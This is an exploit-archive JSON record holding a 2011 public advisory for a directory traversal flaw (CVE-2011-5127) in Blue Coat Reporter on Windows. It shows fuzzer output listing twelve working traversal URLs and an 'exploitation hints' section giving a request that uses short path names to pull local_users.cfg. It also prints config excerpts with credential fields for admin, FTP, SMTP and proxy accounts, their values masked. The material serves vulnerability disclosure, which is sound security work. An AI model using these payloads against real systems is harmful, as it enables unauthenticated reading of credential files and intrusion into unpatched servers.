{"exploit":{"id":"EDB-17883","name":"Blue Coat Reporter - Directory Traversal","description":"Blue Coat Reporter - Directory Traversal","cves":["CVE-2011-5127"],"author":"nitr0us","published":"2011-09-22","platform":"hardware","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17883","path":"exploits/hardware/remote/17883.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17883.txt","vulnerabilities":[{"id":"CVE-2011-5127","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in Blue Coat Reporter 9.x before 9.2.4.13, 9.2.5.x before 9.2.5.1, and 9.3 before 9.3.1.2 on Windows allows remote attackers to read arbitrary files, and consequently execute arbitrary code, via an unspecified HTTP request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-5127","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-5127"},"updatedAt":"2024-09-17T01:20:47.302Z","retrievedAt":"2026-11-27T06:08:20.614Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17883.png?v=2","url":"https://exploitbin.com/exploits/EDB-17883","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17883/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17883/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Blue Coat Reporter Unauthenticated Directory Traversal\n# Author: nitr0us / http://twitter.com/nitr0usmx\n# Software Link: http://www.bluecoat.com/products/reporter\n# Version: 9.2.x - 9.1.x\n# Tested on: Windows Server 2003 Standard\n\n\nBlue Coat Reporter Unauthenticated Directory Traversal\n=================================================================================\n### PUBLIC RELEASE ###\nMy gift to Ekoparty Security Conference 2011 @ Argentina\nWhat a great event!\n21/Sept/2011\n### PUBLIC RELEASE ###\n\n\n\nVulnerability Information\n=================================================================================\nVendor:          Blue Coat Systems, Inc. (NASDAQ: BCSI) - http://www.bluecoat.com\nProduct:         Blue Coat Reporter - http://www.bluecoat.com/products/reporter\nVersions:        9.2.x - 9.1.x\nPlatform:        Windows (the Linux installation is not vulnerable)\nTested on:       Blue Coat Reporter 9.2.3 on Windows Server 2003 Standard\nVulnerability:   Directory Traversal\nCVSS v2 Score:   8.3 (High) [ AV:A/AC:L/Au:N/C:C/I:C/A:C ]\nAuthor:          Alejandro Hernandez H. (nitr0us) / http://twitter.com/nitr0usmx\nDiscovery Date:  April 14th, 2011\nPublic Release:  September 21th, 2011 @ Ekoparty Security Conference\nVendor Response: Blue Coat has confirmed the existence of a patch for 9.3.1.1 but\n                 until *now* there is no patch for 9.2.x nor 9.1.x\nVendor Advisory: https://kb.bluecoat.com/index?page=content&id=SA60\n\n\n\nProduct Information\n=================================================================================\nBlue Coat Reporter gives managers powerful visibility into all Web-related user\nactivity. Beyond URL Filtering, Reporter provides customizable, at-a-glance\ndashboards and reports along with intuitive drill-down capabilities making it an\ninvaluable part of security, compliance, bandwidth management, and other\nbusiness-critical efforts necessary in todays competitive environment.\n\nReporter quickly processes robust log data from Blue Coat ProxySG and ProxyClient\nalong with conveyed data from Webfilter and ProxyAV, providing easy-to-view\nreports for security specialists, department managers, HR managers, and network\nadministrators. Blue Coat Reporter provides the ultimate architecture for\ncomplete Web visibility and control.\n\nSecurity administrators can evaluate risks and track user activity that is\npotentially dangerous, and quickly determine users with malicious content,\nincluding spyware. Plus, view a security analysis with sub-reports that include\nmalware ids, malware IP detail, malware URL detail and malware user detail.\nSecurity views provide administrators with greater visibility into the strength\nand stability of their network.\n\nFEATURES:\n- Comprehensive Security and Web Traffic Information\n- Real-Time Dashboard\n- Threat Protection Reporting\n- Flexible Reporting\n- Scalable Performance\n- Content Filtering and Trend Analysis\n- Customized Access\n- Views: Administrator, HR, Security and Technical\n\n\n\nVulnerability Discovery (some info has been replaced with X's)\n=================================================================================\nI found this vulnerability with DotDotPwn v3.0beta fuzzer:\n\n#./dotdotpwn.pl -m http -h 10.X.X.X -x 8081 -d 3 -f boot.ini -q\n#################################################################################\n#                                                                               #\n#  CubilFelino                                                       Chatsubo   #\n#  Security Research Lab              and            [(in)Security Dark] Labs   #\n#  chr1x.sectester.net                             chatsubo-labs.blogspot.com   #\n#                                                                               #\n#                               pr0udly present:                                #\n#                                                                               #\n#  ________            __  ________            __  __________                   #\n#  \\______ \\    ____ _/  |_\\______ \\    ____ _/  |_\\______   \\__  _  __ ____    #\n#   |    |  \\  /  _ \\\\   __\\|    |  \\  /  _ \\\\   __\\|     ___/\\ \\/ \\/ //    \\   #\n#   |    `   \\(  <_> )|  |  |    `   \\(  <_> )|  |  |    |     \\     /|   |  \\  #\n#  /_______  / \\____/ |__| /_______  / \\____/ |__|  |____|      \\/\\_/ |___|  /  #\n#          \\/                      \\/                                      \\/   #\n#                            - DotDotPwn v3.0 Beta -                            #\n#                         The Directory Traversal Fuzzer                        #\n#                         http://dotdotpwn.sectester.net                        #\n#                            dotdotpwn@sectester.net                            #\n#                                                                               #\n#                              by chr1x & nitr0us                               #\n#################################################################################\n\n[========== TARGET INFORMATION ==========]\n[+] Hostname: 10.X.X.X\n[+] Protocol: http\n[+] Port: 8081\nBlue Coat Reporter\n[=========== TRAVERSAL ENGINE ===========]\n[+] Creating Traversal patterns (mix of dots and slashes)\n[+] Multiplying 3 times the traversal patterns (-d switch)\n[+] Creating the Special Traversal patterns\n[+] Translating (back)slashes in the filenames\n[+] Appending 'boot.ini' to the Traversal Strings\n[+] Including Special sufixes\n[+] Traversal Engine DONE ! - Total traversal tests created: 300\n\n[=========== TESTING RESULTS ============]\n[+] Ready to launch 3.33 traversals per second\n[+] Press any key to start the testing (You can stop it pressing Ctrl + C)\n\n[*] Testing Path: http://10.X.X.X:8081/%c0.%c0./%c0.%c0./%c0.%c0./boot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0.%c0.\\%c0.%c0.\\%c0.%c0.\\boot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0.%c0.%2f%c0.%c0.%2f%c0.%c0.%2fboot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0.%c0.%5c%c0.%c0.%5c%c0.%c0.%5cboot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e%2f%c0%2e%c0%2e%2f%c0%2e%c0%2e%2fboot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c%c0%2e%c0%2e%5cboot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0.%c0.%c0%2f%c0.%c0.%c0%2f%c0.%c0.%c0%2fboot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0.%c0.%c0%5c%c0.%c0.%c0%5c%c0.%c0.%c0%5cboot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini <- VULNERABLE!\n[*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini <- VULNERABLE!\n\n[+] Fuzz testing finished after 1.55 minutes (93 seconds)\n[+] Total Traversals found: 12\n\n\n\nExploitation hints (some info has been replaced with X's)\n=================================================================================\nAccording to Blue Coat's knowledge base (https://kb.bluecoat.com/index?page=content&id=FAQ372),\nsome of the common configuration files are located in:\nWindows: <installed drive>/Program Files/Bluecoat Reporter 9/settings\n\nIf you try to get the configuration files in the way showed below, it will not work:\nhttp://10.X.X.X:8081/%c0.%c0./%c0.%c0./%c0.%c0./Program%20Files/Bluecoat%20Reporter%209/settings/local_users.cfg\n\nBut, if you send the request in this another way ;), it works pretty well:\nhttp://10.X.X.X:8081/%c0.%c0./%c0.%c0./%c0.%c0./progra~1/blueco~1/settings/local_users.cfg\n\nSome interesting content within the configuration files:\n\nlocal_users.cfg:\nlocal_users = {\n  user_admin = {\n    username = \"admin\"\n    b64username = \"YWRtaW4=\"\n    password_checksum = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n    administrator = \"true\"\n    last_login = \"1306513774\"\n    roles = \"\"\n    email = \"foo@bar.com.mx\"\n  } # user_admin\n} # local_users\n\n\nlog_sources.cfg:\nlog_sources = {\n  assigned = {\n    assigned_XXXXXXXXXXXXXXXXXXXXXXXXXXX = {\n      type = \"ftp\"\n      port = \"21\"\n      match_compressed = \"true\"\n\n      state = \"enable\"\n      filename = \"*.log\"\n      label = \"Blue Coat ProxySG\"\n      database = \"database_XXXXXXXXXXXXXXXXXXXXXXXX\"\n      hostname = \"10.X.X.X\"\n      username = \"proxysg\"\n      password = \"XXXXXXXXXXXXXXXXXX\"\n      dirname = \"/\"\n      process_subdirectories = \"false\"\n      post = \"rename\"\n    } # assigned_XXXXXXXXXXXXXXXXXXXXXXXXXXX\n  } # assigned\n} # log_sources\n\n\npreferences.cfg:\npreferences = {\n  version = \"9.2.3.1\"\n...\n      recipients = {\n        to = \"foo@bar.com.mx\"\n  limits = {\n    max_databases = \"50\"\n    max_sources = \"150\"\n    max_templates = \"100\"\n    max_users = \"100\"\n    max_roles = \"100\"\n    max_realms = \"10\"\n    max_groups = \"100\"\n    max_panes = \"25\"\n    max_saved_reports = \"250\"\n    max_filter_templates = \"25\"\n  } # limits\n  smtp_server = {\n    primary = {\n      password = \"XXXXXXXXXXXXXXX\"\n      hostname = \"10.X.X.X\"\n      username = \"XXXXXXXXXXXXXXX\"\n    } # primary\n  system_event_log = {\n    directory = \"C:/Program Files/Blue Coat Reporter 9/journal/\"\n    enable_audit_log = \"true\"\n  } # system_event_log\n  explicit_proxy = {\n    http = {\n      ip = \"10.X.X.X\"\n      port = \"8080\"\n      username = \"XXXXXXXXXX\"\n      password = \"XXXXXXXXXX\"\n      enabled = \"false\"\n    } # http\n  paths = {\n    databases = \"C:/Program Files/Blue Coat Reporter 9/databases/\"\n    journal = \"C:/Program Files/Blue Coat Reporter 9/journal/\"\n    archive = \"C:/Program Files/Blue Coat Reporter 9/archive/\"\n  } # paths\n} # preferences\n\nschedule.cfg:\nschedule = {\n  database_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX = {\n    description = \"Foo Bar\"\n    type = \"expire_database\"\n    data = \"1\"\n    database = \"database_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n    deleteOnCompletion = \"false\"\n    enabled = \"true\"\n    runStatus = \"completed\"\n    priority = \"low\"\n    frequency = {\n      type = \"day\"\n      minute = {\n        0 = \"0\"\n      } # minute\n      hour = {\n        0 = \"18\"\n      } # hour\n    } # frequency\n    next_run_time = \"1307746837\"\n    diagnosticInfo = {\n      next_run_time = \"06/10/2011 23:00:37\"\n      last_run_time = \"06/09/2011 23:00:37\"\n    } # diagnosticInfo\n    last_run_time = \"1307746837\"\n  } # database_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n} # schedule\n\n\n\nGreets\n=================================================================================\nSpecial thanks to Tammy Green from Blue Coat: It was a pleasure to work with you\nin the follow-up of this vulnerability.\n\nAlso, special greets to my Argentinian friends Xava Du & Federico L. Bossi:\nI'm having a great time in Buenos Aires and in Ekoparty.\n\nTo some friends, chr1x, CRAc, hkm, alt3kx, tr3w, dex, LightOS, Sirdarckat, calderpwn,\nb0rr3x, beck, daemon, scp.scorpion, Caar2000, Rolman, #mendozaaaa, Raaka_elgaupo,\nvendetta, zeus, Hector López, etc. etc. etc..\n\n\n\nAuthor\n=================================================================================\nAuthor:  nitrØus  [ Alejandro Hernandez H. ]\nE-mail:  nitrousenador -at- gmail -dot- com\nTwitter: http://twitter.com/nitr0usmx\nWebsite: http://www.brainoverflow.org\n         http://chatsubo-labs.blogspot.com\nCountry: Mexico","sha256":"583f41cf3028bd9384381c3c154c1377ae3ac3a39ba6e514c613e8b67e7e21a9","bytes":11301,"fetchedAt":"2026-11-27T06:08:18.866Z","encoding":"utf-8 (display only; download retains original bytes)"}